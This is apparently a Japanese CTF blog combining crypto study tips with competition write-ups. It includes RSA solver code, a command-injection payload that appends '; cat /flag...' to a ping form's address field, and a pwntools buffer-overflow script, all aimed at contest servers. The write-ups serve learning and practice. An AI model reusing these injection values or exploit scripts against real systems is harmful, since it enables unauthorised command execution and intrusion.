なお、CTFに費やせる時間が限られていて*8、あるいは同じ日複数の大会が開催されていて、どれに出たら良さそうか迷う時などには、れっくすさんの「rex.gs」がとても参考になります。私の経験測ですが、この記事で紹介されているCTFに出て「つまらなかった」とか「出なければよかった」といったことは一度もありません*9。

つまづきpoint-1：いわゆる古典暗号問題が全くワカラン！

これは今でも変わりません*10。

とは言え、CTFを始めたばかりの頃よりは少しマシになっているかと思いますので、以下に私の対処法を挙げておきたいと思います。

古典暗号問題にはGuessing*11が付き物なのですが -- Guessing、私の苦手な言葉です。ですので、これくらいで。

つまづきpoint-2：RSA問題とかでどうやったらフラグの文字列が出るのかワカラン！

おそらく最もとっつきやすい非古典暗号問題はRSAでしょう*12。「これをやったらアウト」というポイントと、それらに対する攻撃手法がともによく知られています。しかし、RSAの仕組みを理解し、（簡単な整数で）実装できたとしても、算出した整数をどうやってフラグの文字列に変換するのかが分かりませんでした。

これについては、Big Endianでの変換である場合がほとんどです。pythonでは以下のようにして実現できます。

#整数x⇒バイト列s:
s = x.to_bytes((x.bit_length()+7) // 8, 'big') 
#バイト列s⇒整数x:
x = int.from_bytes(s, 'big')

ただし、暗号問題を解く場合は、PyCryptodomeというライブラリが便利なので、私は普段このライブラリにある「long_to_bytes」や「bytes_to_long」を使っています。

from Crypto.Util.number import *
#整数x⇒バイト列s:
s = long_to_bytes(x)
#バイト列s⇒整数x:
x = bytes_to_long(s)

つまづきpoint-3：netcatでサーバに繋ぐ問題で、サーバから得られる値をプログラム上から取得する方法がワカラン！

問題文に「nc hogehoge.xxx 1337」のようにnetcatでサーバ接続する問題が出題されることが多々あります。Linuxのコンソールからコマンド叩いて済むものはそれで良いのですが、多数の試行を伴う場合とても手作業ではやっていられないケースがあります。

私の場合、pythonでtelnetを扱うライブラリ（Telnetlib）を使用してサーバに繋ぐプログラムを作成しています。

import telnetlib

#接続
conn = telnetlib.Telnet("hogehoge.xxx", 1337)

#1行読み込み
conn.read_until(b"\n")

#「12345」+改行を送信
conn.write(b"12345\n")

このあたりはもっとスマートに処理している方が多いので、いろいろなWriteupから自分に合った方法を選ぶのが良いと思います。

つまづきpoint-4：数式処理をしたいけど、自力で実装するの辛すぎるしどうしたらいいかワカラン！

SageMathを使えばOKです。

www.sagemath.org

私の場合、CTFの問題で.sageという拡張子のファイルが提示され「pythonっぽいけどなんじゃこりゃ？」となったのが最初のSageMathとの出会いです。

マニュアルがよく整備されており、インストールは比較的スムーズにできます。但し、Windowsインストーラはver.9.3までしかないので、それより新しいものを使いたい場合はLinux等の上に展開することになります。

使える関数は多彩ですが、数学の知識がある方はある程度直感的にこのツールを扱うことができるでしょう。そうでない方も、Writeupを読んで定番の関数を押さえておくとよいでしょう。例えば、行列計算（特に、最近流行っているLLLなど）は、SageMathの力を借りると相当楽になります*13。

つまづきpoint-5：暗号技術は勉強して理解したけど、問題で提示された情報からどう攻めていいのかワカラン！

Try Harder! これは現在進行形で躓いているところですので、具体的な話はまだできません。

メジャーな暗号技術のキーワード（たとえばRSA）ググってみると、攻撃手法などをまとめている記事が見つかりますが、情報が希薄な暗号も少なくありません。

ですので、そこからは自分で「どげんかせんといかん」のですが、当面の構想として以下のようなことを企んでいます。

  • 解けなかった問題は勿論、解けた問題ついても Writeupを読んでupsolveする。その後でなぜ解けたのかを整理する。
  • （↑がある程度できるようになったら）論文等で発表された攻撃手法を（論文からの情報だけで）実装できるようにする（結構ツライ）。
  • （↑がある程度できるようになったら）自分で攻撃手法を研究する（さらにハードルは上がるがここを目指したい！）。

つまづきpoint-6：背景にある数学がワカラン！

こちらも現在進行形で躓いていますが、ある程度見通しが立っているので*14少しだけ語ろうかと思います。

最初に持っておいた方が良いセットは、初等数論と線形代数です。

初等数論は中国式剰余定理、オイラーの定理など一通りマスターしておくと便利です。

線形代数はジョルダン標準形くらいまででしょうか。ともかく、行列演算はサクサクできるようにしておきたいです。

あと、有限群・有限体（いわゆるがロア体）の性質や剰余環 Z/ｍZ の性質など、代数学の基礎は押えておきたいです。

あとは各暗号技術（と、それらに対する攻撃手法）がもつ数学的背景を補充することになりますが、例としては以下のようなものがあります。

理論的な理解も大切ですが、具体的な計算ができないとフラグはとれないので計算演習も怠らず実施しましょう*15。

3. おわりに

ここまで拙文をご高覧いただき、ありがとうございました。皆様の「スッキリ」に少しでもつながれば幸いです。

CTF Advent Calendar の明日（6日目）の記事はptr-yudaiさんの「Best Pwnable Challenges 2022」*16です。

*1:これをしっかりとキャッチアップすれば相当ツヨツヨになれると思います。なんといっても最強「zer0pts」の秘伝ですから！

*2:克服できていないものも多々ありますが。

*3:ほぼ、オンラインでクイズ形式にしか出ていません。

*4:解けるとは言っていません。

*5:できるとは言っていません。

*6:英語必須ですが、難しく考えなくて大丈夫です。

*7:ただし、TSG CTFの難易度Beginnerは要注意です。解けなくても落ち込む必要は全くありません。

*8:いわゆる社会人は、ほぼそうでしょう。

*9:問題が解けなかったことは多々あります。

*10:作問者の皆様ごめんなさい。古典暗号無理っす。

*11:非自明な推測。エスパーとも言います。

*12:個人の価値観です。

*13:ただし、SageMathにも「つまづきpoint」があります。そのあたりは、別の機会に紹介したいと思います。

*14:見通しが立っているだけで、理解できるとは言っていないのです。

*15:私の場合、楕円曲線を除き学生時代に一通りトレースしていたのですが、実装ができないものも少なくなく、理解が十分であるとは言えない状態でした。

*16:最強Pwnerであるptr-yudaiさんの記事を見逃す手はありません！

TSG LIVE! 9 CTF 参戦記

1. はじめに

　2022/11/19(土)15:33 JST ～ 17:13 JSTに開催された「TSG LIVE!9 CTF」にチーム「N30Z30N」でソロ参加しました。この記事はその参戦記です*1。

2. 参戦準備について

　日ごろから Twitter で「TSG」を叫び続けていたので、参加するか参加するか参加するかの三択でした。ですので、「参加する」を選びました。

　しかし、前日の疲労がヤバいレベルで HP も MP もほぼ空だったので*213:30くらいから昼寝をしていたのですが、気が付いたら15:15で起床事故寸前でした。あぶねー。

　とりあえず、「途中離脱せず、100分もたせる」ため甘味（アルフォート）を補給しました。なお、恒例である「ゲン担ぎのカツ」は前日・前々日に食したのでカツ愛、もとい割愛です。

　そんなこんなで、15:28にはどうにか体制を整えることはできました。間に合ったからヨシ！

3. 15:43 Solved (Crypto: rsa_debug?）

　いつものとおり、Crypto 全完を目標として、まずは「rsa_debug?」に着手しました。

ファイル：「problem.py」

def my_pow(a, n, m):
    result = 1
    while n > 0:
        if n % 2 != 0:
            result = (result + a) % m # omg! 
        a = (a + a) % m # oops!
        n = n // 2
    return result

from Crypto.Util.number import getPrime, bytes_to_long

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) * (q - 1)
e = 0x101
d = my_pow(e, -1, phi)

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read())


c = my_pow(flag, e, N)

print(f'N = {N}')
print(f'e = {e}')
print(f'c = {c}')

if my_pow(c, d, N) != flag:
    print('there is a bug i guess lol')

ファイル：「output.txt」

N = 142152419619953056039030613006300356362328489550709389999387369748296278181079224756839343268342516013642694413617303501060708009652311527189475960379078488611592094334453807443536588862100338035073773947550237167141330041879985706663975671411606265404764401055491939553565105755943917581461262323010934286591
e = 257
c = 1032307400372525030420319173259503709384961767939821142794251896087430140750696054688678035256705431662987859651860033467060026426212901209540363
there is a bug i guess lol
N = 142152419619953056039030613006300356362328489550709389999387369748296278181079224756839343268342516013642694413617303501060708009652311527189475960379078488611592094334453807443536588862100338035073773947550237167141330041879985706663975671411606265404764401055491939553565105755943917581461262323010934286591
e = 257
c = 1032307400372525030420319173259503709384961767939821142794251896087430140750696054688678035256705431662987859651860033467060026426212901209540363
there is a bug i guess lol

　「オレオレ pow 関数」が肝ですが、コーディング力ヨワヨワ*3なのでよく読めず、1、2、3、 10 とか テキトーに数字入れてみてどんな関数なのかを探っていました*4。

　my_pow(m,e,n) = m*e + 1 であると確信したので、m = (c-1) // e で算出できました。

　※終わってから眺めてみると、そういえば楕円曲線のスカラー倍を自力実装するときよく見かけるコードで、確かに乗算を計算するものでした。

　思考の経緯を省略してソルバの形にまとめると、以下のようになります。

ソルバ：

from Crypto.Util.number import *

N = 142152419619953056039030613006300356362328489550709389999387369748296278181079224756839343268342516013642694413617303501060708009652311527189475960379078488611592094334453807443536588862100338035073773947550237167141330041879985706663975671411606265404764401055491939553565105755943917581461262323010934286591
e = 257
c = 1032307400372525030420319173259503709384961767939821142794251896087430140750696054688678035256705431662987859651860033467060026426212901209540363

m = (c-1) // e

print(long_to_bytes(m).decode())

TSGLIVE{g0od_Mult1plic4t10N-Algor1thm_6y_ru55iAn_Pea5ants}

　TSG にしては優しめ*5の問題でした。

　ペースはまぁ普段通り「ボチボチ」ですが、今後 RTA を駆けるのなら 3 倍速は欲しいかなと思う次第。

4. 15:55 Solved (Crypto: rsa_debug??）

　とりあえず 1 問解けたので、次の「rsa_debug??」に着手しました。前問とよく似ていますが、「オレオレ pow 関数」の中身が異なっています。

ファイル：「problem.py」

def my_pow(a, n, m):
    result = 1
    while n > 0:
        if n % 2 != 0:
            result = (result * a) % m
        a = (a + a) % m # oops!
        n = n // 2
    return result

from Crypto.Util.number import getPrime, bytes_to_long

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) * (q - 1)
e = 0x101
d = my_pow(e, -1, phi)

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read())

assert flag.bit_length() <= 400

c = my_pow(flag, e, N)

print(f'N = {N}')
print(f'e = {e}')
print(f'c = {c}')

if my_pow(c, d, N) != flag:
    print('there is a bug i guess lol')

ファイル：「output.txt」

N = 161158216253038255124492156151962399187548922270772103599266892572221327481080333694151491753952386387865153735917628775435896449548933903421087242431342475272954753478257425320498033392103209016100073542891497164623755193739116081982087416601688042791555293758187880072012603318037132783685510192234882270727
e = 257
c = 35670804975997119135517974550619182851023199117712172481981302698858610501172231787573382627176449105648892197879980333661081777520179757444468521044149805726225887861984296836753557996580478318594607972377600
there is a bug i guess lol

　前問同様、1、2、3、10 とかテキトーに数字入れてみてどんな関数なのかを探ったところ、前問より少してこずりましたが、（e=257 のときは）my_pow(m,e,n) = (e-1)*m2 のような動きをしていることが分かったので、c // (e-1) の平方根を計算してみたところフラグをゲットできました。

　※なお、上の関係式は e = 2k+1 型の時成り立つようです。

ソルバ：

from Crypto.Util.number import *
import gmpy2

N = 161158216253038255124492156151962399187548922270772103599266892572221327481080333694151491753952386387865153735917628775435896449548933903421087242431342475272954753478257425320498033392103209016100073542891497164623755193739116081982087416601688042791555293758187880072012603318037132783685510192234882270727
e = 257
c = 35670804975997119135517974550619182851023199117712172481981302698858610501172231787573382627176449105648892197879980333661081777520179757444468521044149805726225887861984296836753557996580478318594607972377600

m_ = c // (e-1)
m = gmpy2.iroot(m_,2)[0]
print(long_to_bytes(m).decode())

TSGLIVE{Th1ng5_cOmE_1n_thr33s..._but_H0w?}

　当面の目標である「Crypto 全完」が見えてきました。

5. 16:05頃 Solved (Crypto: Ta-Shi-Ma-Ku-Ri SAtursday!）

　順当に!?、Crypto 問のラスト「Ta-Shi-Ma-Ku-Ri SAtursday!」を解きました。

ファイル：「problem.py」

from Crypto.Util.number import getPrime, bytes_to_long
from random import randint

p = getPrime(2048)
q = getPrime(2048)
N = p * q
e = 65537

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read())

c = []

for x in range(3):
    m = 0
    for i in range(x // 2):
        m += flag
    for i in range(randint(1, 100)):
        m += p
    for i in range(randint(1, 100)):
        m += q
    c.append(pow(m, e, N))

print(f'N = {N}')
print(f'e = {e}')
print(f'c = {c}')

ファイル：「output.txt」

N = 825649642553946328490267023836964711129572425420611735966058683161869803283215266043480304824845111624861250510300789897618528373725236423187676275540723601517461477863617597011363813283912432725667966766365026775315273032389820659978567288706991615780840356377692023530302256488843866125445518514159949151341302906334427920162274058604910216851679502301606913882631899848196176184869193139522404440309942910091771387682701129390460352864424830348225562562360798114543519040072738973589496238169574712021125951918581191319660444131208154266965880763605102083738906048618836339364123455800563079686550795320715569070950383562791508039623249322653728302368039046435890273004852830380582259381379374039796805699684302425495704593736270681712039539888533167142142765955179751586182812597170124069636258732736256419964214220827795321240503521422326812202618089257462126043183583634654484130648706105306514678814826193407457179729443893215111314101986450773258647089878553484580160898905112473766432621689270421724705692314938092837187623229862232768861414241149888300579583906809606951755783656480333567845708998833428922469617739876313360808161540844790197840546900526733781250294563399708876853695183965156611592433321609232870013953529
e = 65537
c = [216949660113004296009259668300534993020105821221318058006221263360670206317854729377127498966972283960212373873547330855440142797545309741889850780082659137610701979875179586873874443387642727752002855684656612531771726640719619633438582181273632591174743374976090502725516525885649093905605104721563399232764370559319686543630287774695705426870288054780805886884491921016573316007837455531795089815940128261459926314061675936701853891694922813812049198405143262252257099312547195727842816568803642048524919788798727173501410164791200503759725852008322788468585177000946058954376320775607144975455532111394214266917076512741107919519690887365375813957064331707593146348692088975009680548447367069108122365861954880530389519192499912982109549734460942531549235319024383325646695977422842496129015105711419168291387289261442326876780828831973504626810114390393171510701043844459613441935866520624226443174255547675337272814485789089748704744611293531866397945075923707673405674255016158945416605425851541327230247596998795502825198541655593403244820709102630950288980468577818885363399136518273886482465020899520020602341105920756064956597718878275469302368240891713678237060859367758977108111107933911057364648831809616527933975723117, 51583635406618955557208798031147624649359706997894321317425067509557409512116347444691971717840825321762282106897546008753785164833165735283131541939787240317392863610293060744566401835537980790207397157473353459308465185310448343425023613481948457654298839653100624447942381541884995059659699037522150612679044514348858020667919011125524446639504563302142532251867486178285416293476451790876580998880606417421785230210127509623702346941936296746981361883286562134843938677366992051966798245452706267605585603343692317978016819231715857307068735137934491366772647205384911936853453614749551699730791191018566008379106281994472029692350910797889644569036546867294655273181462430377208614429223739315777635835706958649013243072661344976013622590769802411067495079611595519804951450278527673197146382744932947590521139592026885731486460586150261233447784465288806771380038058117150486428800081185435164931180958432508924403148226070068773739680914512869613605557080705887688517559644591799816707690740284686627022035112212121219985723834634142605435210358762666042844405511596009472018561856867143612554070064099007428461203339190177160487413537345360150848245438645956990549355115875764873560054219211605254611269626825489483842640018, 201429502572151907207669413393863256280229442301921016587875714023960062912920341109831247721910975613770542202242828341965723835386146006841058216933291783114002288320053664098945142941318519156136200671061933895553300458663647271233281358522594778147710061134740616893573333089485531127539828500315987612459716568044141593023609004381408588936566801447929202427928080539601272897572851547054648712652438083012901997959628627639447385055239583448692217462802742260141473445025292327701724092933587996835353444734828088406533758866626444792039437356890938357847006239458250704575446629903482282367142704404629013815989561413016107285061372224468791463151049756647566264554193099293900691587775208639431879674668031555020647808771495691526926027418625263124211207957569211422342040847487759542574428706594890204245691023052514898033003324502930414363660846197386147753305529070262094540601294948100028557945063651035028338388259335341372029755993700224771762797479049478003774997264464877472363393002255610570285454693913941545714976481242299334313588763209368721195406033440335039795584023965856836025833576402742426185229823778500705694210974341563890810533129792322808736449424911515758040914277186872685831237496952261824168758033]

　c には 3 つの値が入っていますが、最初の 2 つは (a * p + b * q)e の形の数で、最後の 1 つは (F + a * p + b * q)e （F:フラグ）の形をしています（1≦a, b≦100）。

　解法はシンプルで、もしc[0]=(a * p + b * q)e、c[1]=(s * p + t * q)e ならば (te * c[0] - be * c[1]) % N は p の倍数となりますので、1 ≦ b, t ≦ 100 で x :=GCD( (te * c[0] - be * c[1])%N, N) を全探索し、1< x < N となる x が見つかればそれが p に該当*6します。

　p がわかれば q がわかり、phi = (p-1) * (q-1) が計算できるので RSA 復号処理ができるようになります。

　c[2] を RSA 復号処理の後、フラグに足された部分（a * p + b * q）を 1≦a, b≦100 総当たりで減じてみて、「long_to_bytes したとき b"TSGLIVE" を含むもの」を正解と見立てます。なお、long_to_bytes がコケるかもしれないので、try ～ catchで括っています。

ソルバ：

N = 825649642553946328490267023836964711129572425420611735966058683161869803283215266043480304824845111624861250510300789897618528373725236423187676275540723601517461477863617597011363813283912432725667966766365026775315273032389820659978567288706991615780840356377692023530302256488843866125445518514159949151341302906334427920162274058604910216851679502301606913882631899848196176184869193139522404440309942910091771387682701129390460352864424830348225562562360798114543519040072738973589496238169574712021125951918581191319660444131208154266965880763605102083738906048618836339364123455800563079686550795320715569070950383562791508039623249322653728302368039046435890273004852830380582259381379374039796805699684302425495704593736270681712039539888533167142142765955179751586182812597170124069636258732736256419964214220827795321240503521422326812202618089257462126043183583634654484130648706105306514678814826193407457179729443893215111314101986450773258647089878553484580160898905112473766432621689270421724705692314938092837187623229862232768861414241149888300579583906809606951755783656480333567845708998833428922469617739876313360808161540844790197840546900526733781250294563399708876853695183965156611592433321609232870013953529
e = 65537
c = [216949660113004296009259668300534993020105821221318058006221263360670206317854729377127498966972283960212373873547330855440142797545309741889850780082659137610701979875179586873874443387642727752002855684656612531771726640719619633438582181273632591174743374976090502725516525885649093905605104721563399232764370559319686543630287774695705426870288054780805886884491921016573316007837455531795089815940128261459926314061675936701853891694922813812049198405143262252257099312547195727842816568803642048524919788798727173501410164791200503759725852008322788468585177000946058954376320775607144975455532111394214266917076512741107919519690887365375813957064331707593146348692088975009680548447367069108122365861954880530389519192499912982109549734460942531549235319024383325646695977422842496129015105711419168291387289261442326876780828831973504626810114390393171510701043844459613441935866520624226443174255547675337272814485789089748704744611293531866397945075923707673405674255016158945416605425851541327230247596998795502825198541655593403244820709102630950288980468577818885363399136518273886482465020899520020602341105920756064956597718878275469302368240891713678237060859367758977108111107933911057364648831809616527933975723117, 51583635406618955557208798031147624649359706997894321317425067509557409512116347444691971717840825321762282106897546008753785164833165735283131541939787240317392863610293060744566401835537980790207397157473353459308465185310448343425023613481948457654298839653100624447942381541884995059659699037522150612679044514348858020667919011125524446639504563302142532251867486178285416293476451790876580998880606417421785230210127509623702346941936296746981361883286562134843938677366992051966798245452706267605585603343692317978016819231715857307068735137934491366772647205384911936853453614749551699730791191018566008379106281994472029692350910797889644569036546867294655273181462430377208614429223739315777635835706958649013243072661344976013622590769802411067495079611595519804951450278527673197146382744932947590521139592026885731486460586150261233447784465288806771380038058117150486428800081185435164931180958432508924403148226070068773739680914512869613605557080705887688517559644591799816707690740284686627022035112212121219985723834634142605435210358762666042844405511596009472018561856867143612554070064099007428461203339190177160487413537345360150848245438645956990549355115875764873560054219211605254611269626825489483842640018, 201429502572151907207669413393863256280229442301921016587875714023960062912920341109831247721910975613770542202242828341965723835386146006841058216933291783114002288320053664098945142941318519156136200671061933895553300458663647271233281358522594778147710061134740616893573333089485531127539828500315987612459716568044141593023609004381408588936566801447929202427928080539601272897572851547054648712652438083012901997959628627639447385055239583448692217462802742260141473445025292327701724092933587996835353444734828088406533758866626444792039437356890938357847006239458250704575446629903482282367142704404629013815989561413016107285061372224468791463151049756647566264554193099293900691587775208639431879674668031555020647808771495691526926027418625263124211207957569211422342040847487759542574428706594890204245691023052514898033003324502930414363660846197386147753305529070262094540601294948100028557945063651035028338388259335341372029755993700224771762797479049478003774997264464877472363393002255610570285454693913941545714976481242299334313588763209368721195406033440335039795584023965856836025833576402742426185229823778500705694210974341563890810533129792322808736449424911515758040914277186872685831237496952261824168758033]

from Crypto.Util.number import *
for b in range(1,100):
  for t in range(1,100):
    x = (c[0] * pow(t,e,N) - c[1] * pow(b,e,N)) % N
    if GCD(x, N) != 1:
      p = GCD(x, N)
      break

q = N // p
phi = (p-1)*(q-1)
d = inverse(e, phi)

m_ = pow(c[2], d, N)

for a in range(1,100):
  for b in range(1,100):
    m = m_ - a*p - b*q
    try:
      if b"TSGLIVE" in long_to_bytes(m):
        print(long_to_bytes(m).decode())
        exit()
    except:
      pass

TSGLIVE{p_and_Q_Mu5t_6e_1nFiN1Tesim41_nUmb3Rs_Becau53_pq_acts_Lik3_a_zer0}

　好物である「RSA 問」の中でも、特に好きなタイプの問題でした。

6. まだだ、まだ終わらんよ！（Rev: angry）

　この段階でまだ時間があったので、もう 1 問くらい行きたいと思いました。「angry」に取り組みながら他の問題を見ていましたが、結果的に何もできず、ここで打ち止めとなりました。無念。

　ということで、残り時間は「まだだ、まだ終わらんよ！」と（いつも通り）心で叫びながら、ひたすら angr をぶん回していました。競技終了まで、地球温暖化の促進に貢献していました。ネオジオン万歳！

　・・・嘘です。他の方の Writeup みながら反省会しますので許してください。

7. 結果

　Crypto 全完のみで 700 点、11位でした。

　結果はともかく、TSG ファンクラブ会員（自称）としては、TSG のイベントを楽しめたのでヨシ！もうこれに尽きます。

　次の TSG CTF が楽しみです。次の TSG CTF が楽しみです。（大事なことなので２回言いました。）

*1:なお、前回の「TSG LIVE!8 CTF」の参戦記はこちら。⇒https://m5453.hatenablog.com/entry/2022/05/16/213800

*2:これ、前回と同じです。

*3:「こーでぃんぐかよわよわ」ではなく、「こーでぃんぐりょくよわよわ」です。念のため。

*4:高校数学とかで、nの四則やべき乗で表されている数列に対してn=1～3くらいまでの挙動から一般項を予測し、数学的帰納法で証明するあのノリです。

*5:変換ミスではありません。念のため。

*6:実際は q かもしれませんが、問題を解くうえで p として一般性を失わないのでヨシ。

SECCON Beginners CTF 2022 参戦記

1. はじめに

　2022/6/4(土)14:00 JST ～ 6/5(日)14:00 JSTに開催された「SECCON Beginners CTF 2022」にチーム「N30Z30N」でソロ参加しました。この記事はその参戦記であり、主に「これからソロで CTF に取り組もうとしている方」に参考になればと、Writeup では書きづらい裏話などを述べたものです。

　なお、Crypto の Writeup につきましては、こちら（SECCON Beginners CTF (ctf4b) 2022 Writeup（Cryptoのみ） - Qiita）に上げてありますので、拙い内容ではありますが、併せて参考にしていただければ幸いに思います。

2. 参戦準備について

　競技時間は24時間ですが、前日のメンタル疲労がヤバく MP*1 がほぼ空だったので、Warmup は控えめとし MP の回復に努めました*2。またゲン担ぎとして、前日の夜はヒレカツ、当日昼はロースカツを食しました*3。

　この CTF への参加目的は「サイバーセキュリティ関連技術力の向上」が第一*4ですが、折角の競技形式ですので極力得点を上げ、上位を狙うに越したことはありません。そこで作戦として、次のような構想*5を持って臨みました。

  • １）まずは Crypto を全完する。できれば数時間以内で。（★ここで勢いをつける）
  • ２）次に、各分野の beginner レベルをクリアし、難易度 easy や solve の多いものから埋めていく。（★★一応このあたりが最低限クリアしたい目標）
  • ３）できれば Reversing は全完、その他の分野も easy は倒す。 （★★★ここまで行ければベスト）
  • ４）途中、延べ６～８時間の休憩（睡眠）をとる。

3. スタートは、まずまず

　まずは作戦通り、Crypto の問題を一通り眺め、解きやすそうな「PrimeParty(easy)」から解き始めました。その後、「CoughingFox(beginner)」、「Welcome（入れていなかったことに気付きここで入れた）」、「Command(easy)」と開始 1 時間で進みました。速い人はもっとハイペースで進みますが私は好調な時でもこのくらいのペース*6なので、前述した目標は十分達成できるとこの時はまだ思っていました。

4. ちょっと、気分転換

　Crypto の 「Unpredictable Pad(medium)」は RNG問題（乱数予想系の問題）が苦手なので後回し、Crypto ボス問の「omni-RSA(hard)」は Coppersmith のニオイがプンプンしていましたがちょっと触っただけではうまくいきそうもなかったので、先に他分野の beginner レベル問を倒すことにしました。

● Reversing - Quiz (beginner)

　対象をバイナリエディタで開いて「ctf4b」で検索かけたら*7すぐにフラグを発見できました。

フラグ：ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

● Web - Util (beginner)

　Web 問は得意ではなく、beginner レベルにも苦戦するのですが、この問題は比較的すんなり解けました。

　ping コマンドを実行する Web アプリが提供されます。POST で送った IP アドレスに対して サーバ上で ping コマンドを実行し、結果を返すものです。サーバ側では IP アドレスの内容をチェックしていないので、「;」で区切って他のコマンドを書けば好きなコマンドを実行できます。フォーム上では JS でチェックが走って面倒なのと、外部からの POST もノーチェックだったので、python の requests を使って post することにしました。json={"address": "; find / -type f -name flag*"}を送ってフラグが含まれていそうなファイルを特定し、json={"address": "; cat /flag_A74FIBkN9sELAjOc.txt"}を送ってフラグをゲットしました。

フラグ：ctf4b{al1_0vers_4re_i1l}

　この時点で 16:30 くらいでしたので、決して速くはありませんが着地点としては昨年並み*8に行けそうな感じでした。

5. pwn の beginner に大苦戦！

　ここで、 pwn の beginner レベル問に挑戦しました。簡単な BOF 問題だと思ってナメていたら、ローカルで通ってもリモートで通らないという謎現象に遭遇し、 HP も MP を大量消費。いろいろ試してみると、サーバから結果がちゃんと戻ってこないことが判明し、最初に指定する buffer に読み込ませる文字数が実際に送信するバイト数ギリギリだとダメっぽかったので、ヤケクソで 1000 を送ったら無事通りました。一応、使った exploit を上げておきます。

● Pwn - BeginnersBof (beginner)

from pwn import *
import sys

if 'remote' in sys.argv:
  r = remote('beginnersbof.quals.beginners.seccon.jp', 9000 )
else:
  r = process('./chall')

target_addr = 0x4011e6

print(r.recvline())
r.sendline(b"1000")
print(r.recvline())
buf = b"A"*40 + p64(target_addr)
print(buf)
r.sendline(buf)
r.interactive()

フラグ：ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

　この時点で 17:00 を過ぎ、そろそろお腹が減ってきたので食事の準備を開始。

6. typo しちゃったぞ

　休憩後（というか、晩飯を食べながら）、保留していた Crypto 問のうち「Unpredictable Pad(medium)」に着手。

　提供されたソースコードを眺めているうちに解法を思いつくも、「6656」を「6556」と typo する痛恨のミスになかなか気づかず、無駄に時間を溶かしてしまいました*9。 本質的にはメルセンヌ・ツイスタの状態復元をする問題で、先人の知恵を借りつつのフラグゲットは 20:10 頃でした。今から考えれば集中力が大分落ちていたので、この辺でスパッと 1 時間くらい休んだ方が良かったのかもしれません。

　その直後、やらかしたショックから MP を回復させるため Web 問の「gallery」に着手しました。

● Web - gellery (easy)

　ファイル検索をしてその結果としてファイルへのリンクを表示する Web アプリですが、キーワードの中に含まれる「flag」を「」（長さ0の文字列）に置換する "余計な" 機能があります。しかし、ここは「flflagag」を入力することでファイル名に「flag」を含むファイルを検索できました。

　「flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf」がヒットしますが、サイズ制限があってそのままではDLできないので、curl コマンドで分割ダウンロードしました。

curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "Range: bytes=0-9999" --output part1
curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "Range: bytes=10000-19999" --output part2

　最後に、コマンドプロンプトから以下のコマンドを実行して結合しました。バイナリエディタでもできますが、先般の typo の一件もあり手元が狂いそうだったので比較的安全なやり方を（無意識のうちに）選択しました。

　copy /b part1+part2 flag.pdf

フラグ：ctf4b{r4nge_reque5t_1s_u5efu1!}

　ここまでで 20:30。徐々に苦戦の様相を呈してきています。

7. 「defund/coppersmith」 が刺さらない。。。

　ここでようやく、Crypto のボス問「ommi-RSA(Hard)」に本格着手しました。ソースコードの長さが短い RSA 問は「大好物」なのですが、殊の外厄介でした。

　まず、明らかに Coppersmith の定理を使いそうな設定なのですが、未知数が邪魔でうまくいきません。仕方がないので 2 変数に対応している著名ツール「defund/coppersmith」でアタックするも空振り。MP も HP も尽きてきたので、気分転換に Reversing の解きやすそうな問題に着手しました。

●Reversing - Recursive (easy)

　ghidra で解析をし始めたのですが、python に移植してソルバに改造してフラグを出しました。

ct`*f4(+bc95".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_c_+8v.gbm(%$w(<h:1!c'ruv}@3`ya!r5&;5z_ogm0a9c23smw-.i#|w{8kepfvw:3|3f5<e@:}*,q>sg!bdkr0x7@>h/5*hi<749'|{)sj1;0,$ig&v)=t0fnk|03j"}7r{}ti}?_<swxju1k!l&db!j:}!z}6*`1_{f1s@3d,vio45<_4vc_v3>hu3>+byvq##@f+)lc91w+9i7#v<r;rr$u@(at>vn:7b`jsmg6my{+9m_-rypp_u5n*6.}f8ppg<m-&qq5k3f?=u1}m_?n9<|et*-/%fgh.1m(@_3vf4i(n)s2jvg0m4
table = open("table.txt").read()

def getindex(x, sz, index):
  if sz == 1:
    print(x,sz,index)
    return index
  else:
    h = sz // 2
    if x <= h:
      sz = h
      print(x,sz,index)
      return getindex(x, sz, index)
    else:
      sz = sz - h
      x = x - h
      print(x, sz, h**2+index)
      return getindex(x, sz, h**2+index)

flag = ""
for x in range(1, 0x26 +1):
  i = getindex(x, 0x26, 1)
  print(x, i)
  flag += table[i-1]

print(flag)

フラグ：ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

　う～ん、解析スピードと実装スピード共に遅っ！終わったのが 23:30 頃で、 HP もかなり消費、意識もだんだんボンヤリしてきていました。

8. 溶けまくって解けた

　いよいよ「このまま寝たら omni-RSA 解けないんじゃね？」疑惑が浮上して、寝付けなくなってしまいまいした。

　しかし意識は朦朧としていて、2:00 頃からは記憶も途切れ途切れとなる始末。

　で、この間何をしていたかというと、設問のスクリプトでいろいろテストして、defund/coppersmitが刺さるようパラメータをいろいろいじっていて、ついに「よっしゃ、刺さった！」となったのですが、本番のソルバではなぜか刺さらない。しかもパラメータの関係で処理速度が遅いので 1 回の試行に 1時間くらいかかるので、もうボロボロ。果たして、modulus の素因数の r が既知の状態で動かしていたことが判明し、おじゃん。

　ポキッと心が折れる音がしたところで、朝のいい時間となったので朝飯。

　そして、食後少し経ったところで「そういえば q は n の約数だから、 式は mod n ではなく mod q で立てればいいんじゃね？」ということに気づき、1 変数の式に作り直して small_roots を試行。しかし一向に刺さらない！

　果たして、small_roots の引数である Beta とか Epsilon とかを適当にいじってみて、Beta=0.2 にしたらようやく刺さったので 9:30 頃ようやくフラグをゲットして幕となりました。

　も～時間溶かしすぎで草。しかし、気持ち的にようやくホッとしたのも事実。

9. まだだ、まだ終わらんよ！

